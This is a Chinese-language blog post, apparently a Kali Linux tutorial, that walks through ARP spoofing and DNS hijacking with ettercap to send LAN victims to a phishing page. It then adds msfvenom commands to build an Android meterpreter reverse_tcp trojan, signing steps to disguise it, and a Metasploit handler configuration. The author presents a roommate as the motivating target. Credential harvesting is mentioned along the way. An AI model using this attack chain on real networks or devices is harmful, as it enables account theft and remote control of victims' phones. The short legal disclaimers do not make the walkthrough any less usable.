Kali渗透(一)--DNS域名劫持与钓鱼

本文最后更新于:2 年前

前言

最近被室友熬夜打游戏搞得有些破防,正好最近在学习Kali Linux的使用,于是便想到了这一招。

下面我将演示如何借助 Kali Linux 系统内置的一款基于ARP地址欺骗的网络嗅探工具ettercap,对局域网内的 Win7 主机进行 DNS 域名劫持,从而使得受害主机访问任意网站的域名时跳转到 Kali 攻击机指定的恶意网页,实现网络钓鱼攻击。本实验为内网渗透,非公网IP上线。 不得非法入侵他人设备,遵纪守法,天网恢恢疏而不漏。

环境

主机 角色 IP地址
Kali Linux 2021.3 攻击者 192.168.149.128
Windows 7 受害者 192.168.149.129
Windows 10 受害者 192.168.149.130
(可以是远程服务器,也可以是kali攻击机) 钓鱼服务器 xxx.xxx.xxx.xxx

DNS劫持

1.什么是DNS(域名)劫持

DNS劫持又称域名劫持,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。

2.DNS劫持的后果

大规模的DNS劫持,其结果往往是断网,因为大网站的访问量实在太大了,钓鱼网站的服务器可能会扛不住大流量的访问,瞬间就会瘫痪掉,网民看到的结果就是网页打不开。网上购物、网上支付等敏感站点有可能会被恶意指向钓鱼网站,使得个人账户密码存在泄露的风险。

3.本文域名劫持原理

此次攻击的原理基于局域网内的ARP欺骗,ARP攻击就是通过伪造 IP 地址和 Mac 地址实现 ARP 欺骗,能够在网络中产生大量的 ARP 通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机 ARP 缓存中的IP-MAC 条目,造成网络中断或中间人攻击。

本文的攻击本质就是使用Ettercap借助 ARP 欺骗攻击使得 Win 7 受害者主机误将攻击者主机 Kali 的 IP 当作网关 IP,然后 Kali 攻击机又将受害者访问的域名进一步指向了自己指定的 IP 地址,实现网络钓鱼攻击。

演示

1.编辑ettercap的dns文件,在文件末尾添加下图红框内的两条解析(注意把IP地址改为钓鱼网站的),把受害者访问的所有网站都解析到钓鱼网站的IP地址上。

1
vim /etc/ettercap/etter.dns

img

2.启动ettercap:

1
ettercap -G

3.在vmware的“编辑-虚拟网络编辑器”中查看nat模式对应虚拟网卡(vmnet8)的默认网关,并在物理机的“网络连接”中设置vmnet8为下图所示(网段可能不同,根据实际情况更改):

img

4.配置ettercap网卡:

img

5.扫描局域网内存活主机:

img

6.选择网关并add to target 1,再选择目标并add to target 2:

img

7.选择ARP攻击,并勾选第一项:

img

img

8.开启攻击后我们打开插件双击dns_spoof进行DNS毒化操作:

img

9.点击开始按钮即可开始攻击:

img

10.受害者访问任意网页,都会被强制跳转到提前搭建好的钓鱼网站:

img

搭配后端PHP代码连接数据库,可以获得受害者的校园网账号和密码。不过,我们的目的是诱导受害者下载木马并使其上线。这里我们要用到msf来生成安卓木马:

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=kali本机ip LPORT=监听端口 R > /放置的目录/文件名.apk

因为现在很多手机都不会安装未签名的apk文件,所以我们可以用Android Killer对木马的图标、名字进行修改和签名。当然,也可以使用命令:

1
2
3
4
5
6
7
生成授权签名
keytool -genkey -v -keystore apk-trojan-key.keystore -alias aliasname -keyalg RSA -keysize 1024 -validity 999

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore 文件名.apk aliasname

验证签名
jarsigner -verify 文件名.apk

11.msf设置监听:

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.149.128 //kali本机的ip
set LPORT 9055 //监听上线的端口 需要与生成木马的时候填写一样
exploit //执行监听

当目标上线之后,我们就可以停止ARP攻击了。

总结

安卓木马的功能不仅仅只有这么一些,剩下的东西也是需要大家自己去摸索的。本次教程到此结束,最后还是要提醒大家不要做出违法的事情,谢谢!


Kali渗透(一)--DNS域名劫持与钓鱼
https://rookieterry.github.io/2021/10/10/Kali渗透(一)-DNS域名劫持与钓鱼/
作者
HackerTerry
发布于
星期日, 十月 10日 2021, 6:04 晚上
许可协议